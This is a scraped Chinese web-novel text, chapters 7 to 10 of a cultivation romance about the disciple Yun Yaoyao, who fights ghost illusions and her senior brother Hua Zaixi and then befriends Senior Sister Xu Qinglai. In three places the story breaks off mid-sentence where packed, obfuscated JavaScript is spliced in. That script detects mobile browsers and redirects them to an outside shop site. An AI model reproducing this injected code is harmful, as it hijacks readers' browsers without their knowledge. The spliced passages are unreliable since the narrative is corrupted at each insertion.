《假装成师兄的未亡人后》 7. 第 7 章 云杳窈声音颤抖,连她惯用的,那副楚楚可怜的神情都忘记摆在脸上。 她边说边摇头,试图跟着晏珩一起离开。 怕晏珩不答应,云杳窈的手向上寻找,钻进他层叠的衣袖里,准确无误抓握住他的掌心。 恐惧占据上风时,她连眼泪都忘记酝酿,只一个劲儿央求晏珩:“师尊,这里夜晚太黑太冷了,求求你,不要把我丢在这里。” 晏珩侧首,余光瞥见云杳窈哀求的目光,里面是他素白飘渺的身影。 像是被她眼中倒影烫到了似的,晏珩急忙躲开她的视线。 他将云杳窈的手拨开,不由分说地御剑离开,连一句象征性的安抚都不留下。 随着晏珩的离去,那些原本还忌惮他剑气的贪惑恶鬼越发张狂,将整个剑阵团团围住。 贪惑本就能窥探人心,能进入万鬼窟的贪惑,更是比寻常恶鬼狡猾百倍。 晏珩留下的剑意犹在,他们暂时无法破开阵法,在外层挡住光线,发出呜咽哭声,让瑟缩在内的云杳窈更加心惊胆战。 有一只贪惑原本漆黑一团,看见云杳窈害怕,突然从身体里钻出一张脸,冲她吐出猩红舌头和涣散眼瞳。 云杳窈被突然浮现的脸吓了一跳,跌坐在地,连忙将自己团起来,脸埋在膝盖与臂弯的交叠处。 耳边还有遮挡不住的哭声,她心中的无助伴随着对晏珩的怨恨,肆意滋长。 几个时辰过去了,双耳被鬼哭折磨着,隐隐作痛。听的时间久了,耳朵里像是被蒙上一层薄膜,嗡嗡作响。 长时间维持一个姿势,云杳窈脖子酸痛,双腿麻木,眼冒金星,有点喘不过来气。 神思恍惚之际,她听见远处空中剑气破空的声音。 有人御剑而至,翩然落地,脚步急切,却在靠近后慢慢减速,似是心存犹豫。 半晌后,那人清幽长叹,唤她:“杳窈,别怕了,随我回去吧。” 云杳窈猛然抬头,她看见晏珩在不远处站定,满目无奈,冲她张开怀抱。 “怎么哭这样痛,看来不该把你留在这里的。” 云杳窈对上晏珩的双眼,有一瞬间怔愣。 她再也止不住委屈,咧开嘴大哭:“都怪你,为什么总是这样……” 像逗狗一样,先给个巴掌,再赏个红枣。 晏珩眸光温柔,顺着她说:“是,都怪我,都是为夫不好。杳窈别怕,我来接你了。” 云杳窈看着他身上的素白衣袍逐渐变红,眼前不再是令人绝望的漆黑崖底,而是布满红绸暖灯的回雪峰。 鬼哭声不知在何时消失了。 向来清逸温润,不惹凡尘的晏珩都混身喜气,俊朗非凡。 他鼓励云杳窈:“别怕,那些鬼已经被我解决掉了。” 手边的长剑带血,滴滴答答淌在地上,把雪地染红。 云杳窈柔弱道:“师尊,血也很可怕,你知道的,我见不得血。” 晏珩听到后,没有犹豫,将手中剑抛下。 剑落地时,云杳窈起身,繁复婚袍随她动作垂落,鞋尖的明珠璀璨晃眼。 每走一步,发冠上流苏就随着她的脚步而晃动,泠泠作响。 云杳窈移不开自己的目光,她此刻眼中只可能有一个人,那便是晏珩。 她提起裙摆,快步奔向他。 两人在漫天风雪中相拥。 云杳窈在晏珩肩头抽泣,小声问他:“你为什么要杀我呢,是我不够听话吗?我明明已经很努力去扮演一个乖徒弟,好妻子了,你怎么还舍得杀我呢?” 晏珩拍着她背的手一顿,语气恳切:“千错万错,都是为夫的错,杳窈再给我一次机会,原谅我好不好?” 云杳窈抬头,看着这张出尘俊逸的脸,眼中还是眷恋。 她摇摇头,说:“就这么轻易原谅你,我不甘心,你要好好补偿我。” 已经裂开唇角准备张嘴的“晏珩”,没有听到她的应允,还以为对方已经识破自己的鬼术。 然而她眼中仍隔着一层薄雾,鬼术仍稳定发挥着作用,没有半点松动。 他闻到了对方血肉的香气,急切之下,顺着云杳窈的意,说:“好,杳窈想要什么补偿。” 云杳窈听见晏珩松口,绽放出天真灿烂笑容,她杏眼弯弯,理所当然道:“当然是……” 剑光闪动,穿透晏珩心脏,干脆利落。 云杳窈松开晏珩,任由他身体滑落下去,把刚刚没说完的话说完:“血债血偿啊。” 她心魔更甚,笑容依旧,双眼猩红。冷眼看着晏珩身上的鬼气从心口涌出。 心魔的催动下,云杳窈身上的灵力暴增,她将剑从地上捡起来,半是混沉半是清醒。 这只贪惑死去后,他鬼术的作用也逐渐随鬼气而消减。 然而还有其他贪惑恶鬼对云杳窈虎视眈眈。 它们分食了同伴的鬼气,在她背后重布鬼术。 这次,它们学聪明了,同时化作许多人,在云杳窈身旁诱她献出血肉。 “幺儿。”这是她几十年没再见过的母亲,她此刻满含热泪,冲云杳窈招手。 “快过来让娘看看。” 她身旁,还有长满皱纹的父亲,瘦骨嶙峋,脊背佝偻,一言不发,却同样满眼都是对她的思念。 还有他们身后的几个孩子,面黄肌瘦,正在唤着她的乳名。 云杳窈是家中最小的孩子,离家多年,不可能没想过家里人。 哥姐都比记忆中长大了不少,父母也比记忆中更加苍老。 可能是离家太久,他们的面孔都有些模糊。 鬼术加持下,云杳窈并未产生怀疑。 她先是喊娘,又喊了爹,始终站在原地,不敢往前。 哥哥突然说:“好饿。” 娘的脸上出现一抹心疼,看着自己的孩子两颊凹陷,比让她自己挨饿还难受。 她先是极快的瞥了一眼小女儿,而后望向夫君。 男人瞪了她一眼,仍旧没有出声。 恶鬼横行,连年灾害,家里已经没粮食了。 云杳窈慢步走近,抱着母亲的膝盖,伏在她瘦弱的大腿上,她的骨头硌着云杳窈,有点疼。 云杳窈问:“娘,还是要卖我吗?” 娘急忙回答:“怎么会,杳窈,既然回家了,就不要再离开了。” 云杳窈曾经被家里卖过三次。 第一次,她从买家手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592669|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃出来,回家后就被追了上来,强行拉走。 娘哭喊着追了过来,但是昨天买家留的粮食已经下锅,爹拉住娘,让她放云杳窈一个好去处,也给家里头其他孩子一条活路。 第二次,云杳窈学聪明了点,逃跑后半个月才寻回家。她在半路偷了干粮,想着这回爹就愿意留她在家了。 她是听话又有用的孩子。 半年后,云杳窈再次被卖了出去,甚至由于逢灾太久,这次她换到的粮食,只有上一次的一半。 第三次,云杳窈没有再回家。 她与岑无望相依为命,在乱世漂泊,直到随他来到乾阳宗,才安定了下来。 云杳窈喉头发紧,她趴在女人膝上,楚楚可怜。 “娘,那我这次会被当作两脚羊吗?” 恶鬼抚弄她头发的手没有停顿:“傻孩子,说什么胡话呢。” 云杳窈有点委屈:“我上次回家,爹不是说,要是我不愿意被人买走,只能换一个别人家孩子。” “我那时候还听不懂,不过后来我就知道爹的意思了。” “师兄救我的时候,我就是被人当作羊,将要下锅呢。” “娘,刚才哥哥说饿了,你听到了吗?” 云杳窈抬头,仰望枯瘦的,没有一点生气的几个人。 她挥剑,在“哥哥”的长舌头伸出来时,毫不犹豫将其斩断。 云杳窈有点不忍心,她闭上眼,剑意锐利,平直斩出去,四只恶鬼齐齐被她截成两半。 然而这些平息不了云杳窈心中翻涌的怨憎爱恨。 胸中血液极速翻涌,在鬼气和心魔的侵袭下,她吐出一口鲜血,得了片刻清明。 无数鬼影围绕着她,她眼前一会儿是晏珩,一会儿是爹娘,又过了一会儿,竟然还能看见岑无望。 少年时的岑无望脸庞青涩,背着一柄长剑,木簪素袍,立在远处。 “师妹。” 云杳窈提剑,向他砍去。 这次,她的招式被人接下。 鬼气散,岑无望的脸消失,花在溪的脸从中浮现,愈发清晰。 而且,这张脸比先前那些人的表情更加细腻丰富,仅仅是看见她的那一刻,就完成了从欣喜到惊讶,再到疑惑的转变。 花在溪被云杳窈的全力一击打得后退两步,他见对方还要再挥剑,未来得及惊讶她进步如此神速,就连忙往一旁躲闪。 两人缠斗一会儿,花在溪看出来云杳窈被鬼术所惑,足尖一点,绕过她身后,先将最近的几只贪惑斩杀。 而后回挡云杳窈紧随而来的凌厉剑意,他趁鬼气消散,云杳窈恍惚,赶紧打落她手中剑。 “师妹,是我啊!快醒醒。” 云杳窈捏着发麻的手腕,看着他极缓慢地眨眨眼:“花在溪?” 花在溪松了口气,以为她终于认出自己,道:“对,是我。” 剑刃擦过他肩膀,要不是他躲得快,定要被云杳窈削掉一块肉。 云杳窈掐诀,灵气指挥着剑再次向他刺去。 “你也跑不了,你们一个都别想逃。” 花在溪知道这位师妹远没有她表面上那般无害,但他也从没想过,云师妹这么记仇啊! 8. 第 8 章 花在溪越躲,云杳窈攻势越凶狠。 她手上伤口还没有好,血痂在动作中裂开,血顺着掌纹横流,砸在地上。 有几滴砸在石块上,还不曾落入泥土。 贪惑闻到血腥气,迫切舔去那石块上未曾干涸的血迹。 舔食完石头上的血,这只贪惑还想再顺着甜腥气去舔云杳窈手掌。 云杳窈斜睨他一眼,释放出的灵力直接凿穿贪惑的头。 花在溪趁她分神,挥剑将她逼退至空旷处。剑意随心,他剑意化作三道分身,堵住云杳窈的攻击。 云杳窈难敌三方进攻,即便是心魔和鬼气能最大程度上催动她体内灵力运转,但若是持续下去,恐怕经脉难以为继,很有可能会破裂,到时候灵气流失,修为也要大幅度后退。 人心私念不同,看到的贪惑化形也不同。 花在溪不知道云杳窈刚才看到什么,只知道她分明看到自己,却还是挥剑相向。 他苦笑:“云师妹,我又不是什么穷凶极恶之徒,怎么就让你恨不得杀了我呢。” 云杳窈无知无觉,她几乎沉溺在自己的情绪中,与外界架起隔阂,根本听不进去。 她对花在溪的执念就是一个字——败。 若是不能将他打得落花流水,云杳窈不会心安。 但要是让她打到痛快,花在溪身体不安。 云杳窈看见花在溪嘴唇动了动,叽里呱啦的,听不真切。 她看见他转了转手腕,意识到他想横剑格挡。 云杳窈心中拆解刚才花在溪的动作,想要学他刚才的招式。 无奈,她此时的修为不足以分身化剑,即便学着上一世那样,加大灵力的灌注,依旧于事无补。 剑在空中晃动两下,始终不能如云杳窈所愿,以灵气拟剑意。 在她急切想纵剑重来时,灵气在身体运转,她感到心脉处有异常颤动。 从心脉流过的灵气重新分布到四肢百骸,冥冥之中,云杳窈感受到一股陌生又熟悉的力量。 就好像是无数根生于她血脉中的丝线。 突然,有一根丝线无来由颤动,刚刚那股奇异的感觉卷土重来。 这一回,云杳窈准确定位,让它从指尖延伸而出。 有一根黑色的丝线,从她指尖生发显形,一直连接到那只重新凝聚的贪惑鬼身上。 云杳窈收拳,这点轻微动作,便让浑浑噩噩的贪惑突然清醒,乖乖向她走过来。 花在溪看不到这根线,他还以为贪惑要伤云杳窈,提剑向恶鬼斩去。 云杳窈蹙眉,指尖微动,收拢丝线,将贪惑拉扯到一遍。 贪惑吓得尖叫,云杳窈嫌吵,他就像是能通过丝线感知到她心情似的,立即闭嘴。 云杳窈把目光重新放回花在溪身上。 她一面召剑回归手中,一面操纵贪惑,两人齐齐往花在溪方向袭去。 花在溪被突然转变的攻势搞得手忙脚乱,先挡下劈砍,再躲闪过鬼气侵扰。 他能感受到,云杳窈似乎有些力不从心,单手拿剑的姿势有些别扭,灵气也比刚才削弱了不少。 花在溪没办法像杀鬼那样利落处理同门师门,便想趁她虚弱,将云杳窈困住。 先彻底杀死贪惑,或许能找到机会让她清醒过来。 想到这里,花在溪转身拉开些距离,且战且退,因她向前。 而后,看准时机,三剑齐发,往云杳窈刺去。 距离太近,云杳窈自知来不及躲闪,横剑在身前,欲全力接下这一剑。 然而剑锋擦过云杳窈头顶,向她身后的贪惑飞去。 三剑归一,浩荡灵气刺穿贪惑,鬼气再也无法重新凝聚。 云杳窈的丝线断了,她的丝线在空中飘荡,纵使她很快反应过来,回身去看,想要让丝线帮助贪惑凝聚鬼体。 可惜为时已晚,花在溪从刚才开始就醉翁之意不在酒,全力一击根本不是为了与她过招。 丝线只拽到贪惑一团鬼气。 云杳窈将线收回,刹那间意识到自己分心了。 花在溪的声音在耳边响起:“师妹怎么了?与师兄过招,还敢分心。” 她浑身僵硬,热气喷洒在她耳廓,激起她一层鸡皮疙瘩。 下一秒,云杳窈被花在溪抱着,扑倒在地。 金色的清心诀顺着他的灵力钻入云杳窈识海,不容抗拒。 云杳窈头痛欲裂,连剑都不要了,十指扣在花在溪双臂上,深陷其中。 丝线这会儿也随之失灵,无法刺穿花在溪的身体。 花在溪疼得倒吸一口冷气,却不曾放慢施加清心决的速度。 贪惑已死,月上中天,辉芒撒入崖底,云杳窈得以从黑暗中清醒。 清醒过来的第一感觉,是疼。 接着,是所有力量都随理智回归而蛰伏回身体。 没了鬼气惑心,云杳窈这会儿总算记起自己是血肉之躯,眼泪顺着眼角流下,像两条不会停止奔流的溪水。 清心决施放完毕,花在溪长舒一口气,刚想起身,便听见有人怒喝:“花在溪!你在做什么!” 紧接着,来人提起他的后颈。 花在溪没防备,被他狠狠推开,摔坐在地上。 云杳窈没人压制,手脚并用站起来,躲在廖枫汀身后。 她看见花在溪坐在原地,正不断揉捏着自己的手腕。 花在溪翻了个白眼,解释:“我在帮云师妹。” “帮人需要这样帮忙吗?”廖枫汀语气冷硬,分明不相信他的说辞。 “你不信就问她啊。”花在溪气笑了,“她被鬼气所惑,我真的只是帮她清醒过来而已。” 他盘腿坐在原地,坦坦荡荡。完好的那条手臂架在膝盖上,支起脑袋,眼神无辜,直勾勾看着云杳窈。 廖枫汀垂首,侧目去看身后人。 他看见云杳窈的晶莹泪痕,移开目光,问她:“花在溪说的是真的吗?” 云杳窈回想了一下刚才的场面,花在溪的做法确实无可指摘。 这人顽劣,却有底线。 云杳窈说:“是,多谢花师兄。” 说完,她又想想起来什么似的,连忙补了一句:“也谢谢廖师兄。” 廖枫汀习惯穿窄袖,因此,云杳窈躲在他身后,并未与他产生任何肢体接触。他的余光扫到云杳窈垂落的手。 这双手上的血痕遍布,令人不忍直视。 白日分别,她掌心尚且完好无损。 花在溪臂膀衣服上还有血痕。 廖枫汀没有师妹,所以他心中别扭的生出惊诧。 师妹这么能忍痛吗? 廖枫汀突然想到,他身上连帕子都没有,无论是递给她擦泪,还是简单包扎,都无能为力。 于是他抿唇,道:“该回刑堂抄书了,你们二人随我来。” 廖枫汀施诀,刚踩上剑身,看见花在溪已经站了起来,凑到云杳窈身边,笑嘻嘻问她:“我刚刚受伤了,不能御剑,云师妹带带我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592670|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽是央求的语气,却根本不给人选择余地。 云杳窈身体往旁偏一寸,花在溪便靠近一寸,实在缠人得紧。 她道:“师兄,手腕受伤是不影响御剑的。” 花在溪很自然就把手臂搭在云杳窈肩头,强行把她的身体掰了回来。 “那不一定,万一我掉下去怎么办?我可是刚刚救了啊,你总不能真狠心把我留在崖底吧?” 廖枫汀看不下去,道:“我带你回去。” 云杳窈与花在溪俱是一愣。 廖枫汀脸上并无玩笑意味,花在溪耸了耸肩,竟然答应了:“也行。” 他灵力耗尽,想从崖底赶到刑堂,必得耗费许多心神。 谁来带都无所谓,花在溪纯粹是想偷懒。 他把手环在廖枫汀腰间,两人的剑要比云杳窈慢一些。 他们的穿过云海薄雾,风很大,所以花在溪根本不怕前面的云杳窈听见他俩谈话。 “我说——”花在溪在廖枫汀耳边喊,“廖师弟也太偏心——” 廖枫汀没有回答他,专心御剑。 他并非毫无脾气,在听到花在溪又张口:“你跟我爹越来越像了,都这么讨人厌——” 他加速飞行,让花在溪被风吹得张不开嘴。 落地时,头发都有点乱。 云杳窈使了个尘净术,看见花在溪和廖枫汀还在吵。 她一回头,两人都闭嘴,她端着笑说:“两位师兄感情真好。” 花在溪干呕,廖枫汀转头,两人迅速拉开距离避嫌。 “我与师兄的感情也很好,没想到……”云杳窈话里的失望越来越浓。 两人觉得,应当是他们令她触景伤情。 廖枫汀不太会安慰人,憋了半天,对她说:“不要伤心师妹,我和花师兄的关系其实很差。” 花在溪啧了一声,揉了揉眉心,咬牙低声说:“你学剑术的时候,把我爹的话术也一并学走了?” 说完,他快步走了过去,压根不提同门情谊,也不安慰她,而是乐呵呵带她进刑堂。 “外头风大,师妹快跟我进去避风。” 刑堂的夜晚很安静,三人在偏室刚坐下,花在溪就把桌子往云杳窈旁推了推,他捧着脸对云杳窈笑:“我手腕受伤了,师妹心疼心疼我,替我抄吧。” 云杳窈举起双手,眨巴眼,道:“我握不了笔,花师兄伤到的是左手,右手还能写,还是拜托花师兄努努力,帮我多抄一份吧。” “安静。”廖枫汀道。 烛火下,他的眉眼深邃,面庞轮廓棱角分明,暖光下也有一层冷意。 在他的干预下,云杳窈与花在溪表面休战。 背地里,两人互不肯让,一会儿做鬼脸,一会儿叠纸传字条。 一页纸还没抄满,云杳窈与花在溪各自抓着纸笔,开始给墙上的门规磕头。 最后索性睡到天亮。 等廖枫汀抄完,叫他们起床,他俩还带着困意,睁不开眼。 云杳窈看到面前满是鬼画符的纸张,有些慌乱:“糟糕,没写完就睡着了。” 花在溪打着哈欠说:“这有什么,明晚接着写呗。” 云杳窈扭头,把作废的纸揉成一团,砸在花在溪脑门:“你还好意思说我。” 花在溪接住掉下来的纸,抬头看到云杳窈的脸,扑哧笑出来。 他笑得直不起来腰,捂着肚子瘫倒在桌子上,砰砰锤着桌面,说:“师妹,你快去找面镜子照照,你脸上全是墨。” 9. 第 9 章 “云师妹的门规没有写在纸上,原来是全写在脸上了。”花在溪笑到喘不过来气,脸也跟着红了,“快擦擦吧。” 云杳窈赶紧捏起袖子去擦,在脸上抹了半天,把半边脸都抹花了,还是有墨迹。 花在溪笑得没力气,他起身,想替她擦一擦看不见的地方。 云杳窈拍掉他的手,背过去,兀自掐了个诀,想将脸上的墨渍直接用灵力清理干净。 然而她用指腹摸了摸,还是有墨痕。 “没用的。”花在溪说,“这种墨就是为了防止有人用术法消除书写痕迹而研制的。” 花在溪绕过去,弯腰低头去瞧云杳窈的脸。 昨夜睡梦中,他把高高束起的马尾拆散,这会儿发冠和银簪还在桌角摆着,他的头发垂散下来,看起来倒是增添了几分温柔。 云杳窈转过身,不想让别人看见自己这副邋遢模样。 花在溪紧紧跟着,不厌其烦跟着她变换位置。 终于,在云杳窈抬头发现他还没有放弃时,干脆骂他:“滚啊。” 她站起来,想跑出去。 这话不骂出来还好,花在溪听她气急,竟然扬起笑,挡住云杳窈去路:“师妹别这样啊,我替你擦擦。” “滚!”云杳窈再次重复。 花在溪还想说什么,然而他眼神一定,看见云杳窈抹了一把伤心泪,赶紧抬手说:“好好的,怎么又哭了,我这次可什么都没做。” 他半晌没听见哭声,以为是自己的错觉,半蹲下去,从她指缝去。 一滴泪混着墨,迅速从缝隙坠落。 “真哭啦?”花在溪想扒开云杳窈的手,却被对方一把拍掉。 力气很大,他手背立刻泛起长长的红色印记。 看来是真的生气了。 廖枫汀刚把三份门规交到长老处,回来就看见这一幕。 他用眼神询问:“怎么了?” 花在溪挠了挠头,表示自己不清楚。 快该回的崖底时辰了,耽误不起。 廖枫汀抿了抿唇,从怀里拿出一个瓶子。 “云师妹,我带了伤药,你能等一会儿再哭吗?” 花在溪听到这话,拍了一下自己的额头,感叹道:“我怎么敢指望你能哄好她……” 云杳窈听到,放下手,她试着用一只手捂着脸,另一只手去接药。 “谢谢师兄。”她整理了情绪,才开口道谢。 廖枫汀又问:“师妹是因为脸上的污渍而哭吗?” 云杳窈非常宝贝自己这张脸。 应该说,由于早年的贫寒经历,她对任何不易得、不易存的美丽有种痴狂。 寻常人应该很难理解,并且还会认为她有些矫情。 更何况,乾阳宗全是一群不解风情的剑修。 碎骨断筋都不带落泪的,他们可能根本不会懂云杳窈的执着。 所以云杳窈压根没想从他们这里获取安慰,她的眼泪是为自己而流,所以也不需要谁来安慰。 反正难过会过去,只要让她独自待一会儿就好了。 云杳窈点点头,算是回应了廖枫汀。 廖枫汀若有所思:“这样啊……” 云杳窈没理会他,专心自己给自己上药。 等她再抬头,看见廖枫汀的脸上有几条杂乱的墨色笔画。 她吓了一跳:“廖师兄,你这是……” 廖枫汀放下笔,淡然道:“此墨不易消退,云师妹要是怕被人看到,我陪你就好了,这样,外人便不会注意到你。” “你放心。”廖枫汀看着她的双眼许诺,“今晚我去接你时,会为你带来消退墨迹的药水,在这之前,我也不会擅自擦去自己脸上的墨水,请云师妹放心。” 云杳窈被他漆黑眼瞳中的严肃和认真镇住,反应过来后小声说:“其实没事的。” 她小声说。 廖枫汀给她递了个帕子:“擦擦眼泪吧,师妹。” 云杳窈接过帕子,听见一旁的花在溪切了一声。 廖枫汀装作没听见,带着他们返回崖底。 他白日里还需要带着一群师弟师妹们练剑,杂事颇多,因此连闲叙的功夫都没有,送他们抵达后,便御剑离开。 云杳窈从头到尾没搭理花在溪,贪惑已除,她寻了处空地打坐调息,还未闭眼,就看见花在溪坐在她面前,冲她摆手示意。 “无聊。”说完,云杳窈调转位置,背过花在溪去。 花在溪没有像早晨那样,紧追着她。 他看着这个纤细却挺直倔强的背影,沉默良久。 没有趁此机会抓紧修炼,花在溪的剑放在身侧,并未出鞘。 他闭气一只眼,用手指比了比云杳窈,发现师妹真的和乾阳宗的许多剑修都不一样。 云杳窈身材娇小,即便是门中很多师姐、师妹,都要比她高挑健硕。 她娇气,据说还怕黑,所以入夜后,回雪峰上灯火通明。 她脆弱,乾阳宗有不少与她年纪相仿的弟子,他们的天赋要远高于云杳窈,压根不会犯被人打落手中剑这种低级错误。 但是,就是这么一个与乾阳宗格格不入的云杳窈,从南荒走到中原,成为了世人眼中的仙门子弟。 她就像是生于溪边杂木旁的六月雪,渺小却有韧性。 花在溪承认,他一开始是对这个师妹有点逗弄心思的,乾阳宗的修炼生活太无聊了,他总是会给自己找点新鲜。 看师妹想气急败坏,却装作大度的模样,实在好玩。 可这里面,绝不包括她的眼泪。 花在溪很烦看见人哭,他自记事起就没流过眼泪,对旁人的眼泪更不感兴趣。 所以他回想起云杳窈的眼泪,心里愈发烦躁。 “喂。”花在溪喊云杳窈,“好不好看,对你来说真的那么重要吗?” 云杳窈没有理会,他却知道她在听。 从坐下开始,花在溪就在无意识薅着地上的杂草,腿边的草被他拔光,他顿了顿,终于放过它们。 “其实,你可以直接打我的。” 良久,花在溪突然说。 “谁再惹你,你可以直接把他揍一顿,或者,你让我来揍也可以。” 云杳窈还是没有说话。 他拍了拍手上尘土,有些懊恼,泄气似的说:“好吧好吧,是我太过了,我错了。” 花在溪无法无天惯了,就算是被亲爹打得鼻青脸肿,也从未服软过。 云杳窈听到后,将丹田灵力再次运转,返还四肢百骸。 “你再说一遍,我刚刚没听清楚。”她平心静气中带了点不易察觉的得意,背对着花在溪勾起唇角。 花在溪猛地起身,大声道:“我错了!云杳窈你就原谅我吧。听清楚了吗?” 云杳窈被他吓了一跳,转身却看见花在溪的耳朵都熟透了。 这回轮到云杳窈笑话他了。 不过她比花在溪能忍,没笑出声,反倒摆着架子,问他:“动动嘴皮子的事谁不会,你就这点诚意?” 或许是破了自己的底线,花在溪这会儿意外的好说话。 想都没想,花在溪问她:“你想要什么?只要不是让我现在带你下山,我都可以。” 云杳窈认真思考了一会儿。 “你教我练剑吧,要好好教的那种,不要再故意戏弄我了。” 花在溪被她拆穿,有点尴尬,所以他答应得很干脆利落:“行。” 两人握手言和。 白日在崖底练剑,晚上去刑堂偷懒睡觉,日子倒也自在。 自省的最后三日,廖枫汀突然不见人影,换成另一位师姐过来监督他们。 “廖师兄接了任务,不得空来接你们。所以接下来几日,我会替他照顾你们两个。” 徐清来英姿飒爽,穿着窄袖的月白修身长袍,脚踩黑金靴,身上并无多余配饰,高马尾用了同色的发带扎起,潇洒风流。 人素净,剑繁复。 徐清来的剑鞘装点了大小灵石二十块,光是剑柄末端那块镂空悬浮的灵石,都价值连城。 和他们二人交代事情时语气很冷,公事公办。 夜里监督她们时又睁一只眼闭一只眼,只要不打扰她擦剑就行。 云杳窈勾着手指,示意花在溪过来。 “这徐师姐,是何方人物啊。” 花在溪想了半天,只挤出来一句话:“你最好别和她打交道。” 云杳窈更加好奇:“为何?” 花在溪啧了一声,说:“我怎么说呢…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592671|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这人,就是有点怪,做事有点痴,平生只有两大爱好,剑和书。” 这就更奇怪了,云杳窈眨巴眼睛,不解道:“这不是好事吗?” 剑修为剑痴狂很正常,乾阳宗还有不少弟子想和剑结为道侣的呢,徐师姐这样的剑痴都算一股清流了。 爱看书简直是优点,云杳窈出身寒微,自小就崇拜有文气的人。 花在溪脸色有点难看,扶额道:“主要是,她爱看的书,是那种……” “总之,你少和她说话。” 花在溪揉揉她头发,任凭她怎么追问也不肯多说。 云杳窈看着微光下,认真端详剑身的师姐,突然福至心灵。 马上就能结束崖底苦修,她修为和剑术日渐提升,一直想要找个合适的机会下山。 自上次出逃失败,乾阳宗对下山弟子的管控愈发严苛。 花在溪是指望不上了,为今之计,便是借宗务堂发放的任务,光明正大下山。 只要任务地点足够偏僻,人员杂乱,她可以寻机溜走。 晏珩避世,百年来除了她和岑无望,便再没有其他弟子,就连门中开设的教习,他也从不露面,这让她想同谁攀扯关系都很难。 原本还想找廖枫汀,但他这人责任心太强,若是跟他一起下山,指不定还没跑就被捉回去了。 这徐师姐简直是送上门来的机会。 认识徐清来的第二天,云杳窈趁花在溪睡着,悄悄来到徐清来身边,颤颤巍巍道:“师姐,这条门规我不太懂。” 门规用的是古语,言中蕴藏灵气,她的字歪歪扭扭,一看就是摹字形而不知其意。 饱读诗书的徐清来沉默良久,她接过笔,竟然没有直接训斥她,而是简明扼要为她解答了自己的见解。 古语繁杂,每个人看到都会有不同的感受,徐清来肯说,便是默许了云杳窈的接近。 徐清来的声音从头顶传来,云杳窈低着头偷笑,她本就意不在此。 讲了一炷香的徐清来屈指,轻轻敲了敲她的头:“听懂了吗?” 云杳窈抬首,一副一知半解却好问肯学的模样。 “徐师姐好厉害,你这么一讲,好像也不是很难理解了。” 徐清来有些困惑:“你连第十八条都不懂,这一个月是怎么过来的?” 云杳窈笑容僵在唇角,不过她很快就调整了弧度,叹了口气,可怜兮兮道:“我上山之前不识字,师尊常年清修,我不好为此事打扰,我师兄他,哎……” 这一声叹息余韵悠长,百转千回。 徐清来食指微动,垂眸就看到云杳窈伤情的失魂模样。 乾阳宗如今人尽皆知,晏珩门下出了个痴情种,任凭师尊惩罚,她也要下山救心上人。 云杳窈原本看向她的眼还是亮晶晶的,估计是想到死去的师兄,难免惆怅惘然。 “真羡慕诸位师兄师姐,周围有那么多人陪着。”云杳窈说,“要是师兄还在,应该也会像徐师姐这样,耐心教我读书练字的吧。” 徐清来咳了一声,她不太会安慰人,于是说:“还有哪里不会。” 云杳窈抬头,似乎有些意外,还有些感动:“徐师姐,你……” 徐清来看着云杳窈湿漉漉的眼睛,把剑收起,神色有些不自然:“别误会,我只是答应了廖师兄,要好好照顾你。” 连看两夜门规,云杳窈脑袋直发疼。 度日如年,莫过于此。 好在徐清来只照看他们三日。 第三日白天,云杳窈刚和徐清来告别,便趁着花在溪离开,偷偷往徐清来离去的方向跟去。 摸清了徐清来的行踪轨迹,云杳窈晚上回到住处,脑子里已经有了成型的计划。 次日一早,徐清来打开院门,看见了个令她意外的身影。 云杳窈站在外头树下。弟子舍外冷清,隆冬时节,大雪纷飞,她正捧着手往手心哈气。 看到徐清来出现,云杳窈欣喜道:“师姐!” 头上两颗毛茸茸的装饰随云杳窈小跑的动作乱晃,她今日的发髻像兔耳朵似的,那对发饰,就像兔耳朵上的绒毛。 有了前几日的指导,云杳窈和徐清来熟悉不少,语气跟着亲昵起来:“师姐猜猜,我今日为什么会出现在这里?” 10. 第 10 章 徐清来未语,云杳窈先发制人,上前将手心摊开。 袖中藏着的剑穗顺势滑落至指尖,上面的玉环并玉兔温润通透,蓝白色的穗子在底下晃荡,叮啷作响,有雪碎冰破声。 云杳窈眨了眨被风雪吹红的眼,观察着徐清来的神色,说:“师姐喜欢吗?这是剑穗我编了一夜才编好。” 徐清来指尖微动,明显意动,但她并未接过剑穗,反倒看到她逐渐僵硬泛红的手指,问:“无功不受禄,云师妹还是收回去吧。” 云杳窈未动,被拒绝了也不气恼尴尬,杏眼弯弯,先是笑吟吟道:“叫我杳窈就好。” “杳窈愚钝,多亏师姐肯耐心指点。我从前家中也有姐姐,所以见了师姐,觉得格外亲切。剑穗虽比不得灵石宝剑,却也是杳窈的一番心意,还望师姐不要嫌弃。” 说完,云杳窈侧身,将剑穗挂在她剑柄上。 